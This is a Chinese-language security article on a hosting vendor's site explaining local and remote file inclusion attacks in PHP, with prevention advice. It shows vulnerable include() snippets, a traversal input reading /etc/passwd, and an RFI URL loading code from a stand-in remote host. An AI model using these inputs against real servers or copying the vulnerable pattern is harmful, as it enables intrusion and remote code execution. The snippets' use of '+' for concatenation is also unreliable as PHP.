安全播报

防御吧作为15年知名老牌域名服务商,CNNIC和CANN双认证域名注册商,已经
持续为500多万个域名提供服务,包括智能DNS/自由转移/隐私保护等服务!
文件包含(LFI & RFI)攻击
2022-12-01 12:04:39 【

文件包含漏洞利用应用程序中的动态文件包含机制,从不受信任的源导入恶意的可执行代码。通常当应用程序接受用户输入并将其传递到文件包含API时就会引发这类的漏洞,从而在易受攻击的应用程序上下文中加载恶意代码。

通常,当漏洞允许在目标服务器上加载文件时称为本地文件包含(LFI),当攻击者能够在应用程序中加载远程代码时称为远程文件包含(RFI),这种技术增加了在目标服务器上执行恶意代码的机会。

影响及危害

此类漏洞的影响取决于应用程序如何使用所包含的文件,可能表现为基本的任意文件读取、还可以是服务器端请求伪造,甚至远程代码执行(RCE)。

如果文件在应用程序的相同代码上下文中运行,这可能被用于在托管基础设施中执行远程代码(RCE)从而获得立足点,转向横向移动到整个网络中的其他服务系统执行未经授权的命令,并完全损害应用程序的机密性、完整性和可用性。

场景

在许多语言中都可能包含未经授权的文件,PHP特别容易受到RFI攻击,因为动态包含文件是PHP编程中广泛使用的模式。

下面的代码片段存在LFI问题,用于通过用户提供的HTTP参数“template”,动态加载指定的本地PHP文件。

<?phpinclude("templates/" + $_GET['template']); ?>

攻击者可以通过向参数“template”传递恶意的本地路径来访问存在漏洞的PHP网页,进而访问不被允许的本地文件,例如/page. PHP ?template=../../../etc/passwd显示系统密码文件,或者/page.php?template=../upload/file以PHP脚本的形式运行一个意外文件。

下面的RFI片段提供了对路径的第一部分的完全控制,允许攻击者加载远程url。

<?phpinclude($_GET['template'] + ".php"); ?>

攻击者可以在他控制的web服务器上驻留恶意PHP文件,然后通过访问/page.php?template=
http://www.123.com/malicious ,在目标服务器上执行该malicious文件。

如何防护

可能的话,开发人员应该避免使用用户提供的输入构建文件路径字符串,特别是当资源公开给用户或在运行执行时。


如果需要将用户提供的输入传递给文件系统API,开发人员必须确保以下内容:

1.严格要求只接受已知的、信誉良好的候选对象来验证用户输入。

2.如果无法根据允许列表进行验证,那么验证至少应该确保输入中只包含允许的内容。


】【打印关闭】 【返回顶部
分享到QQ空间
分享到: 
上一篇Google UAF漏洞利用缓解技术Mirac.. 下一篇OpenLiteSpeed Web Server多个安..

立足首都,辐射全球,防御吧专注云防御及云计算服务15年!

联系我们

服务热线:010-56157787 ,010-56159998
企业QQ:4000043998
技术支持:010-56159998
E-Mail:800@fangyuba.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解决防御与加速) 版权所有 增值许可:京B2-20140042号
售前咨询
公司总机:4000043998 01056155355
24小时电话:010-56159998
投诉电话:18910191973
值班售后/技术支持
售后服务/财务
备案专员
紧急电话:18610088800